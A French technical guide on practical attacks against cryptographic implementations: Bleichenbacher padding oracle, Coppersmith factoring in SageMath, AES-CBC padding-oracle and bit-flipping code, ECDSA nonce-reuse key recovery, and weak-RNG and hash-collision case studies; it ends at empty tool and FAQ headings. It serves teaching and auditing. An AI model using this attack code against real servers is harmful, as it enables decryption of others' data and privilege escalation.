Cryptanalyse Pratique : Attaques sur AES, RSA et ECC

La cryptanalyse pratique est l'art de trouver et d'exploiter les faiblesses des implémentations cryptographiques réelles — non pas les algorithmes théoriques (AES, RSA, ECC sont mathématiquement solides), mais les erreurs d'implémentation, les mauvaises configurations et les side-channels qui affaiblissent la sécurité en pratique. Ce guide technique couvre les attaques concrètes contre les systèmes AES, RSA et ECC déployés : padding oracles, attaques par faute, timing attacks sur les implémentations non constant-time, et exploitation des générateurs de nombres aléatoires faibles. Les cryptographes praticiens, les auditeurs de sécurité et les développeurs de systèmes cryptographiques trouveront ici des méthodologies d'attaque concrètes avec des outils comme RsaCtfTool, SageMath et CrypTool, ainsi que des études de cas sur des vulnérabilités cryptographiques réelles ayant affecté des millions de systèmes.

Attaques Pratiques sur RSA

RSA est mathématiquement solide quand il est correctement implémenté, mais les erreurs d'implémentation sont fréquentes et souvent catastrophiques :

Bleichenbacher Padding Oracle (ROBOT Attack)

L'attaque Bleichenbacher (1998) exploite les serveurs TLS qui répondent différemment selon que le padding PKCS#1 v1.5 est valide ou non. En 2017, l'attaque ROBOT (Return Of Bleichenbacher's Oracle Threat) a montré que cette vulnérabilité de 19 ans affectait encore Facebook, PayPal et de nombreux serveurs TLS. L'attaquant envoie des milliers de ciphertexts modifiés et observe les réponses pour déchiffrer progressivement le message :

# Bleichenbacher padding oracle — principe simplifié
# Le serveur répond différemment si le padding PKCS#1 v1.5 est valide

def oracle(ciphertext):
    """Retourne True si le padding PKCS#1 v1.5 est valide"""
    plaintext = rsa_decrypt(ciphertext, private_key)
    # PKCS#1 v1.5 : 0x00 0x02 [padding >= 8 bytes non-zéro] 0x00 [message]
    return plaintext[0:2] == b'\x00\x02'

# L'attaquant utilise la propriété multiplicative de RSA :
# RSA(m * s) = RSA(m) * RSA(s) mod N
# En multipliant le ciphertext par s^e mod N, l'attaquant modifie
# le plaintext sans connaître la clé privée.

# Algorithme de Bleichenbacher :
# 1. Trouver s₁ tel que (m * s₁) mod N commence par 0x00 0x02
# 2. Réduire l'intervalle possible pour m
# 3. Itérer avec s₂, s₃, ... jusqu'à trouver m exactement
# ~3000-10000 requêtes pour un modulus de 2048 bits

Méthode de Coppersmith et Small Roots

La méthode de Coppersmith utilise la réduction de réseaux (LLL algorithm) pour trouver les petites racines de polynômes modulo N. Applications pratiques : récupérer un message RSA dont une partie est connue (e.g., le header d'un email), ou factoriser N quand une fraction des bits de p est connue :

# SageMath — Coppersmith small_roots
# Si on connaît les bits de poids fort de p (moitié supérieure)
N = ...  # Modulus RSA
p_high = ...  # Bits connus de p (e.g., 512 bits sur 1024)

# Construire le polynôme f(x) = p_high + x mod N
# x représente les bits inconnus
P. = PolynomialRing(Zmod(N))
f = p_high + x
roots = f.small_roots(X=2^512, beta=0.5)  # X = borne sur x

if roots:
    p = int(p_high + roots[0])
    q = N // p
    print(f"Factorisation : p={p}, q={q}")
    # → Calcul de d = inverse(e, (p-1)*(q-1))

AES-CBC Padding Oracle

L'attaque padding oracle sur AES-CBC (Vaudenay, 2002) exploite les serveurs qui distinguent "padding invalide" de "MAC invalide" dans les messages chiffrés. En modifiant les octets du bloc de ciphertext précédent, l'attaquant teste les 256 valeurs possibles pour chaque octet de plaintext. L'attaque POODLE (2014) a exploité cette vulnérabilité dans SSL 3.0, et des variantes affectent encore les implémentations TLS mal configurées.

# Padding oracle attack sur AES-CBC
def padding_oracle_attack(ciphertext, iv, oracle_fn):
    """Déchiffre un ciphertext AES-CBC via padding oracle"""
    block_size = 16
    blocks = [ciphertext[i:i+block_size] for i in range(0, len(ciphertext), block_size)]
    plaintext = b''
    
    for block_idx in range(len(blocks)-1, 0, -1):
        intermediate = bytearray(block_size)
        decrypted_block = bytearray(block_size)
        
        for byte_idx in range(block_size-1, -1, -1):
            padding_val = block_size - byte_idx
            
            # Construire le bloc C' avec le padding correct pour les octets déjà trouvés
            crafted = bytearray(block_size)
            for k in range(byte_idx+1, block_size):
                crafted[k] = intermediate[k] ^ padding_val
            
            # Brute-force l'octet courant
            for guess in range(256):
                crafted[byte_idx] = guess
                # Envoyer C' || block au serveur
                if oracle_fn(bytes(crafted) + blocks[block_idx]):
                    intermediate[byte_idx] = guess ^ padding_val
                    decrypted_block[byte_idx] = intermediate[byte_idx] ^ blocks[block_idx-1][byte_idx]
                    break
        
        plaintext = bytes(decrypted_block) + plaintext
    
    return plaintext

AES-CBC Bit-Flipping Attack

En mode CBC, modifier un bit dans un bloc de ciphertext corrompt le bloc déchiffré correspondant mais flip le même bit dans le bloc suivant. Un attaquant qui connaît le plaintext peut modifier chirurgicalement le texte déchiffré sans connaître la clé :

# Bit-flipping CBC : modifier "role=user" en "role=admin"
# Le plaintext du bloc N+1 dépend du ciphertext du bloc N
# P[N+1] = D(C[N+1]) XOR C[N]

# Si on sait que le bloc N+1 contient "role=user..."
# Et on veut "role=admin..."
# Il suffit de XOR le ciphertext du bloc N :
# C'[N][i] = C[N][i] XOR P_known[i] XOR P_desired[i]

original = b"role=user"
target   = b"role=admn"  # 'i' → 'n' dans l'exemple simplifié

for i in range(len(original)):
    ciphertext[prev_block + i] ^= original[i] ^ target[i]
# Le bloc N sera corrompu, mais le bloc N+1 contiendra "role=admn"

ECDSA Nonce Reuse et Biased Nonces

La sécurité d'ECDSA repose entièrement sur la qualité du nonce k. Si le même nonce est utilisé pour signer deux messages différents, la clé privée est directement calculable :

# ECDSA nonce reuse — extraction de la clé privée
# Deux signatures (r1, s1) et (r2, s2) avec le même nonce k
# r1 == r2 (même nonce → même point sur la courbe)

# s1 = k^(-1) * (hash(m1) + r * privkey) mod n
# s2 = k^(-1) * (hash(m2) + r * privkey) mod n

# Soustraction : s1 - s2 = k^(-1) * (hash(m1) - hash(m2))
# k = (hash(m1) - hash(m2)) * (s1 - s2)^(-1) mod n
# privkey = (s1 * k - hash(m1)) * r^(-1) mod n

# Cas réel : la PS3 utilisait un k fixe pour signer les jeux
# → Sony's ECDSA private key was extracted in 2010

Même des nonces biaisés (quelques bits prévisibles) permettent l'extraction de la clé via des attaques par réseaux (lattice attacks). L'attaque Minerva (2019) a démontré l'extraction de clés ECDSA depuis des cartes à puce en exploitant seulement 4 bits de biais dans le nonce, via la technique de Hidden Number Problem (HNP).

Exploitation des RNG Faibles

Les générateurs de nombres aléatoires faibles sont responsables de nombreuses catastrophes cryptographiques :

• Debian OpenSSL (CVE-2008-0166) : un patch Debian a réduit l'entropie du RNG à 32 768 valeurs possibles — toutes les clés SSH et TLS générées sur Debian pendant 2 ans étaient prédictibles.
• Dual_EC_DRBG : générateur standardisé par le NIST, suspecté de contenir une backdoor NSA. Les points générateurs choisis permettent à quiconque connaissant le secret de prédire les sorties du RNG.
• Android SecureRandom (2013) : un bug dans l'implémentation Android de java.security.SecureRandom produisait des sorties prévisibles — des bitcoins ont été volés en exploitant les nonces ECDSA faibles des wallets Android.
• Smart contract RNG : utiliser block.timestamp ou blockhash comme source d'aléa dans les smart contracts Ethereum est exploitable par les mineurs.

Attaques sur les Fonctions de Hachage

Les attaques sur les fonctions de hachage ont un impact direct sur les signatures numériques, les certificats et l'intégrité des données :

• MD5 collision : des collisions MD5 ont été utilisées pour forger des certificats X.509 (Flame malware, 2012) et créer des fichiers distincts avec le même hash.
• SHA-1 collision (SHAttered, 2017) : première collision SHA-1 pratique (2^63 opérations). Impact : Git utilise SHA-1 pour l'intégrité des commits — des commits différents avec le même hash SHA-1 sont théoriquement possibles.
• Length extension attacks : MD5, SHA-1 et SHA-256 sont vulnérables aux attaques par extension de longueur si utilisés comme MAC naïf (H(secret || message)). Utiliser HMAC.

Outils de Cryptanalyse Pratique

FAQ — Questions Fréquentes